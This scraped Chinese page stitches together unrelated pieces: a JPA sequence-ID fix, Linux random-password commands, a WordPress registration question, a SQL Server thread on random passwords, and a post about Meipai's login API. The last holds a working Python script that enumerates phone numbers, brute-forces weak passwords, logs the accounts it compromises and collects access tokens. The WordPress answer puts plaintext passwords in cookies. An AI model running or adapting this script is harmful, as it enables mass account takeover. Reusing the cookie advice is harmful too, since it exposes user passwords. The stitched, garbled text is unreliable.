id是445246956的随机苹果id密码是什么么

问题分析(10)
Java技术(32)
Java框架学习(42)
1. &开发环境介绍
& &Spring Data 1.6, JDK 1.6, Oracle 11g, Hibernate 4.3.5
2. & &问题的提出
& & 在开发中,使用Annotation来配置Entity,即对象与Table的映射;代码示例如下:
@Entity(name = &PayOrderEntity&)
@Table(name = &ES_OUTPAY_ORDER&)
public class OrderEntity extends AuditableBaseEntity {
@GeneratedValue(strategy = GenerationType.SEQUENCE, generator = &orderGenerator&)
@SequenceGenerator(name = &orderGenerator&, sequenceName = &outpay_order_sequence&)
}& &随机的ID会被插入数据库,ID为50, 150, 1050之类的递增:
2. &问题分析
& &数据库本身经过分析,没有问题,工作正常;数据库表的创建语句也经过验证没有问题;最后经过分析,还是确定应该是代码的问题。原来的时候,使用Trigger来定义ID字段的自增,现在改用Annotation中的SequenceGenerator, 新出现的问题。
& &是否是generator定义本身的问题呢? 经过检查和验证,没有问题。
& &还是上网搜索吧, 终于看到了一个未曾用过的字段 allocationSize.
3. &问题的解决
& & & 修正之后的代码如下:
@Entity(name = &PayOrderEntity&)
@Table(name = &ES_OUTPAY_ORDER&)
public class OrderEntity extends AuditableBaseEntity {
@GeneratedValue(strategy = GenerationType.SEQUENCE, generator = &orderGenerator&)
@SequenceGenerator(name = &orderGenerator&, sequenceName = &outpay_order_sequence&, allocationSize=1)
}4. &什么是allocationSize?
& &在源代码的定义中,其缺省值为50,故会出现50/51的ID。 在JPA中,其ID是通过allocationSize来设定其变化Size的。
参考资料:
1.&/questions//hibernate-sequencegenerator-and-allocationsize
2.&http://royontechnology.blogspot.hk/2010/04/note-on-allocationsize-parameter-of.html
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
访问:436686次
积分:6348
积分:6348
排名:第2206名
原创:209篇
转载:49篇
评论:44条
(5)(1)(7)(3)(1)(1)(7)(6)(4)(7)(2)(7)(2)(5)(1)(2)(10)(1)(9)(3)(5)(3)(2)(1)(2)(1)(4)(14)(8)(6)(9)(1)(4)(12)(1)(1)(2)(2)(1)(3)(2)(1)(2)(3)(1)(2)(1)(3)(1)(5)(4)(2)(1)(1)(4)(1)(13)(23)(26)(3)(1)(3)分享Linux 系统生成随机密码的10种方法 | 分享,Linux,系统,生成,随机,密码,10种,方法_服务器常识_滕州生活网
|||||||||||||||||||
分享Linux 系统生成随机密码的10种方法
来源:转载整理 发布时间:
摘要:通常情况下大家生成密码都好困惑,一来复杂程度不够会不安全,复杂程度够了又不能手动随便敲击键盘打出一同字符(但通常情况下这些字符是有规律的),使用1password 或者 keepass 这种软件生成也可以,不过貌似1password 要收费,既然这样我们就玩一下好玩的用 li
分享Linux 系统生成随机密码的10种方法
通常情况下大家生成密码都好困惑,一来复杂程度不够会不安全,复杂程度够了又不能手动随便敲击键盘打出一同字符(但通常情况下这些字符是有规律的),使用1password 或者 keepass 这种软件生成也可以,不过貌似1password 要收费,既然这样我们就玩一下好玩的用 linux 来生成随机密码玩玩吧; 滕州生活网()
Linux操作系统的一大优点是对于同样一件事情,你可以使用高达数百种方法来实现它。例如,你可以通过数十种方法来生成随机密码。本文将介绍生成随机密码的十种方法。 滕州生活网
1. 使用SHA算法来加密日期,并输出结果的前32个字符:
date +%s |sha256sum |base64 |head -c 32 ;echo
生成结果如下:
ZTNiMGM0NDI5OGZjMWMxNDlhZmJmNGM4 滕州生活网()
2. 使用内嵌的/dev/urandom,并过滤掉那些日常不怎么使用的字符。这里也只输出结果的前32个字符:
& /dev/urandom tr -dc _A-Z-a-z-0-9 |head -c${1:-32};echo
生成结果如下:
pDj0Xwz7exD_Qb5B27BwWsM1hrF3a7cJ 滕州生活网
3. 使用openssl的随机函数
openssl rand -base64 32 滕州生活网
生成结果如下:
rYJWqJlTLAYeX3j7nCbir20h1k/0CnqLNEuNyTScfKo= 滕州生活网()
4. 这种方法类似于之前的urandom,但它是反向工作的
tr -cd '[:alnum:]' & /dev/urandom | fold -w32 | head -n1;echo 滕州生活网()
生成结果如下:
tpgudzF7sqtU4yyW2LVhmUQOZIQi87
5. 使用string命令,它从一个文件中输出可打印的字符串 滕州生活网
strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 32 | tr -d '\n'; echo 滕州生活网
生成结果如下:
W4v1iQtkmQ8sIDd9jxDQNpg8HPMOZ8
6. 这是使用urandom的一个更简单的版本
& /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c32;echo
生成结果如下:
rMDlGSPN_bm-IZVFWz9BEi0rF-jIy6gs
7. 使用非常有用的dd命令 滕州生活网
dd if=/dev/urandom bs=1 count=32 2&/dev/null | base64 -w 0 | rev | cut -b 2- | rev 滕州生活网
生成结果如下: 滕州生活网()
9+0RUd4U3HmSdMlgD7j0sf/r09MZFDVBS28W+pO2WcA
8. 你甚至可以生成一个只用左手便可以输入的密码
&/dev/urandom tr -dc '12345!@#$%qwertQWERTasdfgASDFGzxcvbZXCVB' | head -c32; echo 滕州生活网()
生成结果如下: 滕州生活网()
9. 如果每次都使用上述某种方法,那更好的办法是将它保存为函数。如果这样做了,那么在首次运行命令之后,你便可以在任何时间只使用randpw就可以生成随机密码。或许你可以把它保存到你的~/.bashrc文件里面
randpw(){ & /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c${1:-16};} 滕州生活网
生成结果如下:
vgBX8cNo950RiykZRpPYa4BvbAvZbY_x
10. 最后这种生成随机密码的方法是最简单的。它同样也可以在安装了Cygwin的Windows下面运行。在Mac OS X下也可以运行。我敢肯定会有人抱怨这种方法生成的密码没有其它方法来的随机。但实际上如果你使用它生成的全部字符串作为密码,那这个密码就足够随机了
date | md5sum
生成结果如下:
e0d057b46a9a78346cbd94b25e574e79 -
date | base64 滕州生活网
生成结果如下: 滕州生活网
MjAxNOW5tCAwN+aciCAzMeaXpSDmmJ/mnJ/lm5sgMTc6MDA6MzYgQ1NUCg==
ifconfig | md5sum
生成结果如下: 滕州生活网()
7c5d45c12deca31428a95 -
甚至你想生成一个核弹发射密码都可以,下面是一个生成长密码的例子;
ifconfig | base64
生成结果如下: 滕州生活网
ZW0xICAgICAgIExpbmsgZW5jYXA6RXRoZXJuZXQgIEhXYWRkciA3ODoyQjpDQjoyQjpCMDo5NCAg
CiAgICAgICAgICBpbmV0IGFkZHI6MTkyLjE2OC4zLjUgIEJjYXN0OjE5Mi4xNjguMy4yNTUgIE1h
c2s6MjU1LjI1NS4yNTUuMAogICAgICAgICAgaW5ldDYgYWRkcjogZmU4MDo6N2EyYjpjYmZmOmZl
MmI6YjA5NC82NCBTY29wZTpMaW5rCiAgICAgICAgICBVUCBCUk9BRENBU1QgUlVOTklORyBNVUxU
SUNBU1QgIE1UVToxNTAwICBNZXRyaWM6MQogICAgICAgICAgUlggcGFja2V0czoyMDY3NTY0IGVy
cm9yczowIGRyb3BwZWQ6MCBvdmVycnVuczowIGZyYW1lOjAKICAgICAgICAgIFRYIHBhY2tldHM6
ODg2NDUgZXJyb3JzOjAgZHJvcHBlZDowIG92ZXJydW5zOjAgY2FycmllcjowCiAgICAgICAgICBj
b2xsaXNpb25zOjAgdHhxdWV1ZWxlbjoxMDAwIAogICAgICAgICAgUlggYnl0ZXM6MjAzNDkzNTEx
ICgxOTQuMCBNaUIpICBUWCBieXRlczozMjUyNzUxNiAoMzEuMCBNaUIpCgpsbyAgICAgICAgTGlu
ayBlbmNhcDpMb2NhbCBMb29wYmFjayAgCiAgICAgICAgICBpbmV0IGFkZHI6MTI3LjAuMC4xICBN
YXNrOjI1NS4wLjAuMAogICAgICAgICAgaW5ldDYgYWRkcjogOjoxLzEyOCBTY29wZTpIb3N0CiAg
ICAgICAgICBVUCBMT09QQkFDSyBSVU5OSU5HICBNVFU6MTY0MzYgIE1ldHJpYzoxCiAgICAgICAg
ICBSWCBwYWNrZXRzOjU2OTkzMSBlcnJvcnM6MCBkcm9wcGVkOjAgb3ZlcnJ1bnM6MCBmcmFtZTow
CiAgICAgICAgICBUWCBwYWNrZXRzOjU2OTkzMSBlcnJvcnM6MCBkcm9wcGVkOjAgb3ZlcnJ1bnM6
MCBjYXJyaWVyOjAKICAgICAgICAgIGNvbGxpc2lvbnM6MCB0eHF1ZXVlbGVuOjAgCiAgICAgICAg
ICBSWCBieXRlczozMzEzMDcxOSAoMzEuNSBNaUIpICBUWCBieXRlczozMzEzMDcxOSAoMzEuNSBN
aUIpCgo= 滕州生活网
以上是脚本之家小编给大家分享Linux 系统生成随机密码的10种方法,希望大家喜欢。
相关阅读:
声明:凡注明为"网络整理"或者其他媒体来源的信息,均为转载自其他各大门户媒体,虽经严格筛选难免疏漏,转载目的在于传递更多信息,并不代表本网赞同其观点和对其真实性负责。您若对该稿件内容有任何疑问或者侵犯到您的权益,请发邮件至邮,我们将在24小时内予以删除。
下一篇:没有了
分享Linux 系统生成随机密码的10种方法
分享Linux 系统生成随机密码的10种方法wordpress如何实现注册的时候,直接让用户输入自己的账号和密码,不需要wordpress的随机生成密码?_百度知道
wordpress如何实现注册的时候,直接让用户输入自己的账号和密码,不需要wordpress的随机生成密码?
何实现述功能呢追加悬赏
我用版本已经新版本
我想知道何更改设置我真新版本 WordPress 3.0.4
我想知道何设置
拜托要再说版本问题
悬赏50希望达目标:wordpress何实现注册候直接让用户输入自账号密码需要wordpress随机密码
提问者采纳
我找久网搜索没验证参考WordPress注册须邮件通知直接显示密码(非插件)需要插件支持直接修改wp-login.php文件即节省服务器资源 经验证wordpress2.9适用 打wp-login.php: 1、搜索面句位于 register_new_user 函数用于注册功发送通知找注释掉(代码前面加 /* 代码面加 */ 包含引号) wp_new_user_notification($user_id, $user_pass); 并面句行加两句: setcookie(‘u’, $sanitized_user_login); setcookie(‘user_pass’, $user_pass); 2、 $errors-&add(‘registered’, __(‘Registration complete. Please check your e-mail.’), ‘message’); 修改: $errors-&add(‘registered’, __(‘Registration complete. username: ‘.$_COOKIE['u'].’ password:’.$_COOKIE['user_pass'].), ‘message’); 提示:注意字符全英文
提问者评价
其他类似问题
为您推荐:
其他4条回答
wordpress3.0版本 已经实现功能 知道您具体想更改设置光说更改谁知道要改
升级呀。你要是不能自个儿设置密码的话。肯定是旧版本 那你用3.0.1,这肯定能自己设
找到你wordpress根目录下的wp-config.php文件,你英语过四级的话,应该可以找到对应的位置,修改你的用户名和密码就可以了
wp最新版本已经可以了
wordpress的相关知识
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁小妹请教如何生成九位的随机密码!-MS-SQLServer/基础类-mssql-电脑编程网小妹请教如何生成九位的随机密码!-MS-SQLServer/基础类作者:wangtiantian23 和相关&&今天我接到一个任务,要生成一个九位的随机密码!要数字0-9 字母 A-F随机取这里面的字母和数字。只要九位。请问各位前辈应该如何去做!我确实没做过这方面开发!------回答---------------其他回答(5分)---------SQL code
--参考:
declare
@maxNumber
--随机数最大值
@minNumber
--随机数最小值
--要取得的行数
@maxNumber=10000, @minNumber=10000,
' '+convert(varchar,ID)+' '+convert(varchar,ID)+' '+convert(varchar,ID)+' '+convert(varchar,ID)
convert(int,rand(checksum(newid()))*@minNumber)
syscolumns,sysobjects
-----------------------------------------------------------------------
declare
int ,@num2
int ,@num3
int ,@num4
set @num1=rand(abs(convert(int,checksum(newid()))))*10000
set @num2=rand(abs(convert(int,checksum(newid()))))*10000
set @num3=rand(abs(convert(int,checksum(newid()))))*10000
set @num4=rand(abs(convert(int,checksum(newid()))))*10000
convert(varchar(100),@num1)+' '+convert(varchar(100),@num2)+' '+convert(varchar(100),@num3)+' '+convert(varchar(100),@num4)
---------------------------------------------------------------------------
declare @r1 numeric (15,0),@r2 numeric (15,0)
SELECT @r1=RAND( (DATEPART(mm, GETDATE()) * 100000 )
+ (DATEPART(ss, GETDATE()) * 1000 )
+ DATEPART(ms, GETDATE()) )*10000
print @r1
------其他回答(5分)---------引用 2 楼 vipper23 的回复:SQL code1& select right(newid(),9);2& go------------------738ED4F91(1 行受影响)可能重复的几率有多大呀。------其他回答(5分)---------SQL code
--把2楼的写成个函数
--见newid视图
create view v_newid as select [id] = newid()
--建函数,获取随即9位数据+字母密码
create function f_getRandPassword9()
returns varchar(9)
as
begin
declare @result varchar(9)
select @result = right(id,9) from v_
return @
end
--查询结果
select dbo.f_getRandPassword9()
--结果
/*
---------
(1 行受影响)
*/
------其他回答(1分)---------select right(newid(),9) 最好,而且简单------其他回答(1分)---------可能重复的几率有多大呀。 很少遇到重复,不信你试试。------其他回答(1分)---------引用 9 楼 sen_shan 的回复:select right(newid(),9) 最好,而且简单ding------其他回答(1分)---------我的经验是,先设定一个字符串&ABCDEF&,这个16位字母,然后随机取一个字符,连续抽取9个随机字符拼成密码。------其他回答(5分)---------
.NET code &
/// &summary& &
/// 生成长度为9的随机数 &
/// &/summary& &
/// &returns&随机数字(包括字母)&/returns& &
public string RandomCode() &
//生成的单个随机数 &
int ii生成的随机数; &
//生成的单个随机数经过运算转换成的字符 &
char cc单个字符; &
//待生成的随机数(包括字母) &
string ss随机数字 = String.E &
//随机数生成器 &
Random ooRandom = new Random(); &
for (int i = 0; i & 9; i++) &
//生成长度为9的随机数 &
ii生成的随机数 = ooRandom.Next(); &
if (ii生成的随机数 % 2 == 0) &
//纯数字 &
cc单个字符 = (char)('0' + (char)(ii生成的随机数 % 10)); &
//字母数字混合 &
cc单个字符 = (char)('A' + (char)(ii生成的随机数 % 26)); &
ss随机数字 += cc单个字符.ToString(); &
return ss随机数字; &
}------其他回答(1分)---------declare @var varchar(16)declare @in intdeclare @result varchar(9)declare @i intset @i=0set @result=''set @var='ABCDEF'while @i&9beginset @in=ceiling(rand()*16)set @result=@result+substring(@var,@in,1)set @i=@i+1endprint @result------其他回答(5分)---------SQL code
/**
use master
SELECT name, dbo.fn_RandomPassword(8,8) as UserPassword
FROM sysusers
dbo.fn_RandomPassword(最小长度,最大长度)
**/
--- Start vwRand ---
SET quoted_identifier
SET ansi_nulls
IF EXISTS (SELECT *
sys.sysobjects
id = Object_id(N'[dbo].[vwRand]') and OBJECTPROPERTY(id, N'IsView') = 1)
DROP VIEW [dbo].[vwrand]
--created by Rick Toner on 03/16/2007
--updated by Rick Toner on 03/16/2007
CREATE VIEW dbo.vwrand
SELECT Rand() AS R
SET quoted_identifier
SET ansi_nulls
--Uncomment the below line if you need to implement security
--GRANT SELECT ON [vwRand] TO [UserAccountOrDataseRole]
--- End vwRand ---
--- Start fn_Rand ---
SET quoted_identifier
SET ansi_nulls
IF EXISTS (SELECT *
dbo.sysobjects
id = Object_id(N'[dbo].[fn_Rand]')
AND xtype IN (N'FN',N'IF',N'TF'))
DROP FUNCTION [dbo].[fn_rand]
--created by Rick Toner on 03/16/2007
--updated by Rick Toner on 03/16/2007
CREATE FUNCTION fn_rand( )
RETURNS FLOAT
RETURN (SELECT r
SET quoted_identifier
SET ansi_nulls
--Uncomment the below line if you need to implement security
--GRANT EXECUTE ON [fn_Rand] TO [UserAccountOrDataseRole]
--- End fn_Rand ---
--- Start fn_RandomPassword ---
SET quoted_identifier
SET ansi_nulls
IF EXISTS (SELECT *
dbo.sysobjects
id = Object_id(N'[dbo].[fn_RandomPassword]')
AND xtype IN (N'FN',N'IF',N'TF'))
DROP FUNCTION [dbo].[fn_randompassword]
--created by Rick Toner on 03/16/2007
--updated by Rick Toner on 03/16/2007
CREATE FUNCTION fn_randompassword
(@MinLength SMALLINT
@MaxLength SMALLINT
RETURNS VARCHAR(100)
@Password VARCHAR(30)
@Length SMALLINT
@Position SMALLINT
@Characters VARCHAR(55)
@LetterPosition INT
@Letter CHAR(1)
SET @Characters = 'aeubcdfghjklmnpqrstvwxyzBCDFGHJKLMNPQRSTVWXYZ'
SET @Password = ''
-- determine length
SET @Length = @MinLength
+ Round(dbo.Fn_rand()
* (@MaxLength
- @MinLength),0,0)
SET @Position = 1
WHILE @Position &= @Length
SET @LetterPosition = CONVERT(INT,Round((dbo.Fn_rand()
* (Len(@Characters)
- 1)),0,0),1)
SET @Letter = Substring(@Characters,@LetterPosition,1)
SET @Password = @Password
SET @Position = @Position
+ 1 -- incriment counter
-- return password
RETURN @password
SET quoted_identifier
SET ansi_nulls
--Uncomment the below line if you need to implement security
--GRANT EXECUTE ON [fn_RandomPassword] TO [UserAccountOrDataseRole]
--- End fn_RandomPassword ---
可以一次一个,也可以批量------其他回答(5分)---------SQL code
/articles/SQL+Puzzles/2878/
CREATE PROCEDURE dbo.uspCreatePassword(
@UpperCaseItems SMALLINT--指定含有的大写个数
@LowerCaseItems SMALLINT--指定含有的小写个数
@NumberItems SMALLINT--指定含有的数字个数
@SpecialItems SMALLINT)--指定含有的特殊字符个数
SET NOCOUNT ON
DECLARE @UpperCase VARCHAR(26)
, @LowerCase VARCHAR(26)
, @Numbers VARCHAR(10)
, @Special VARCHAR(13)
, @Temp VARCHAR(8000)
, @Password VARCHAR(8000)
, @i SMALLINT
, @c VARCHAR(1)
, @v TINYINT
-- Set the default items in each group of characters
SELECT @UpperCase = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
@LowerCase = 'abcdefghijklmnopqrstuvwxyz'
@Numbers = ''
@Special = '!@#$%&*()_+-='
@Temp = ''
@Password = ''
-- Enforce some limits on the length of the password
IF @UpperCaseItems & 20
SET @UpperCaseItems = 20
IF @LowerCaseItems & 20
SET @LowerCaseItems = 20
IF @NumberItems & 20
SET @NumberItems = 20
IF @SpecialItems & 20
SET @SpecialItems = 20
-- Get the Upper Case Items
SET @i = ABS(@UpperCaseItems)
WHILE @i & 0 AND LEN(@UpperCase) & 0
SELECT @v = ABS(CAST(CAST(NEWID() AS BINARY(16)) AS BIGINT)) % LEN(@UpperCase) + 1
@c = SUBSTRING(@UpperCase, @v, 1)
@UpperCase = CASE
WHEN @UpperCaseItems & 0
THEN STUFF(@UpperCase, @v, 1, '')
ELSE @UpperCase
@Temp = @Temp + @c
@i = @i - 1
-- Get the Lower Case Items
SET @i = ABS(@LowerCaseItems)
WHILE @i & 0 AND LEN(@LowerCase) & 0
SELECT @v = ABS(CAST(CAST(NEWID() AS BINARY(16)) AS BIGINT)) % LEN(@LowerCase) + 1
@c = SUBSTRING(@LowerCase, @v, 1)
@LowerCase = CASE
WHEN @LowerCaseItems & 0
THEN STUFF(@LowerCase, @v, 1, '')
ELSE @LowerCase
@Temp = @Temp + @c
@i = @i - 1
-- Get the Number Items
SET @i = ABS(@NumberItems)
WHILE @i & 0 AND LEN(@Numbers) & 0
SELECT @v = ABS(CAST(CAST(NEWID() AS BINARY(16)) AS BIGINT)) % LEN(@Numbers) + 1
@c = SUBSTRING(@Numbers, @v, 1)
@Numbers = CASE
WHEN @NumberItems & 0
THEN STUFF(@Numbers, @v, 1, '')
ELSE @Numbers
@Temp = @Temp + @c
@i = @i - 1
-- Get the Special Items
SET @i = ABS(@SpecialItems)
WHILE @i & 0 AND LEN(@Special) & 0
SELECT @v = ABS(CAST(CAST(NEWID() AS BINARY(16)) AS BIGINT)) % LEN(@Special) + 1
@c = SUBSTRING(@Special, @v, 1)
@Special = CASE
WHEN @SpecialItems & 0
THEN STUFF(@Special, @v, 1, '')
ELSE @Special
@Temp = @Temp + @c
@i = @i - 1
-- Scramble the order of the selected items
WHILE LEN(@Temp) & 0
SELECT @v = ABS(CAST(CAST(NEWID() AS BINARY(16)) AS BIGINT)) % LEN(@Temp) + 1
@Password = @Password + SUBSTRING(@Temp, @v, 1)
@Temp = STUFF(@Temp, @v, 1, '')
SELECT @Password
/*
--
exec uspCreatePassword 2,2,2,2
----------
MT&4g(5j
exec uspCreatePassword 2,2,4,0
------------
38Io84Vw
*/
------其他回答(5分)---------引用 34 楼 wangtiantian23 的回复:LEFT(newid(),9);right(newid(),9);两者有什么区别!查一下就知道了SQL code
SELECT newid() [1],left(NEWID(),9)[2],RIGHT(NEWID(),9)[3]
1
------------------------------------ ------------------ ------------------
C77A22B9-858B-43DB-AC6A-D5ECE7B7B74C D25EED1E-
3B8515CDC
相关资料:|||||||小妹请教如何生成九位的随机密码!-MS-SQLServer/基础类来源网络,如有侵权请告知,即处理!编程Tags:                &                    记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华
美拍接口未限频导致的帐号随机密码碰撞一个接口美拍进行手机号登录时会对手机号先进行注册检测,接口会返回登录情况:如果手机帐号存在但密码错误则提示:这里我们进行频繁的手机号随机登录查询,是没有限制频率的,所以我们可以通过不断生成手机号然后验证帐号是否注册,随后进行密码破解的操作。(大量帐号的密码破解情况下,弱口令会有很大的空间。)小脚本
随机生成手机号码
进行密码破解
进行结果存储
#!/usr/bin/env python
# coding=utf8
# author=evi1m0#ff0000.cc
import json
import random
import requests
import threadpool as tp
def _burp(phone):
for pwd in ['123456', '', '000000', phone]:
api_url = '/oauth/access_token.json'
data = {'phone': phone,
'client_id': '',
'client_secret': '38e8c5aet76d5c012e32',
'grant_type': 'phone',
'password': pwd,}
print '[*] Burp Phone: %s' % phone
req = requests.post(api_url, data=data, timeout=5)
success = json.loads(req.content)['access_token']
burp_success = open('./meipai_account.txt', 'a+')
burp_success.write('%s:::%s\n'%(phone, pwd))
burp_success.close()
print success
return success
success = 0
print '[-] Burp False'
def _status(args):
while True:
phone_number = random.choice(['188','185','158','153','186','136','139','135'])\
+"".join(random.sample("",8 ))
data = {'phone': phone_number,
'client_id': '',
'client_secret': '38e8c5aet76d5c012e32',
'grant_type': 'phone',
'password': '1',}
api_url = '/oauth/access_token.json'
print '[%s] Test Phone: %s' % (flag, phone_number)
req = requests.post(api_url, data=data, timeout=3)
req_status = json.loads(req.content)['error_code']
req_status = 0
if req_status == 21402 or req_status == 23801:
success_f = open('./success_reg_phone.txt', 'a+')
success_f.write('%s\n'%phone_number)
success_f.close()
_burp(phone_number)
print '\n[OK] Phone: %s\n' % phone_number
if __name__ == '__main__':
for i in range(30):
args.append(args)
pool = tp.ThreadPool(30)
reqs = tp.makeRequests(_status, args)
[pool.putRequest(req) for req in reqs]
pool.wait()继续脚本我们进行了3台服务器的脚本部署,然后一天后进行数据统计:
success_reg_phone.txt
mp_account_data.txt其中success_reg_phone.txt为注册美拍的帐号,mp_account_data.txt为成功爆破的美拍帐号。去重整理之后的数据:wc meipai_account.txt8427
meipai_account.txtwc success_reg_phone.txt92531
3 success_reg_phone.txt其中成功登录8427,注册美拍的手机号92531。head meipai_account.txt::::::::::::123456:::123456:::123456:::123456:::::::::123456随后我们对92531个手机号码去掉已经成功登录的8427个手机号后,进行二次的密码爆破。
美拍帐号登录错误5次会进行3个小时的密码锁定,所以三个小时能进行一次新的top密码破解;数据统计部署脚本的第二天我们停止了测试,因为这次仅仅是为了配合接口做次弱密码统计:cat meipai_account.txt
| awk -F::: '{print $2}' | sort | uniq -c | head
19 89 296 5201314
简单利用帐号成功登录后会返回一个类似于新浪微博授权的access_token,所以编写脚本进行access_token的收取工作即可;e.g:head meipai_access_token.txt0ad1dd12c619fc82217a000cafc15ef26b23f94c3d001cedff4d578f23bb6b0c8bd56f8a530c7e38fe6c8c139a3bcfa99a2b6f973286c516a456fc1f3c8cc0fdb42dace741003a797ee91a4cb20be2003a7e6ed83aeedb6eacfb8ec拥有access_token后可对帐号进行任意操作,比如:关注、查看私信、个人资料信息获取等。
阅读:1296 | 评论:0 | 标签:无
想收藏或者和大家分享这篇好文章→
? 关注Hackdig微博,点击下方按钮?
? 关注Hackdig微信,学习技术更方便}

我要回帖

更多关于 苹果id密码是什么 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信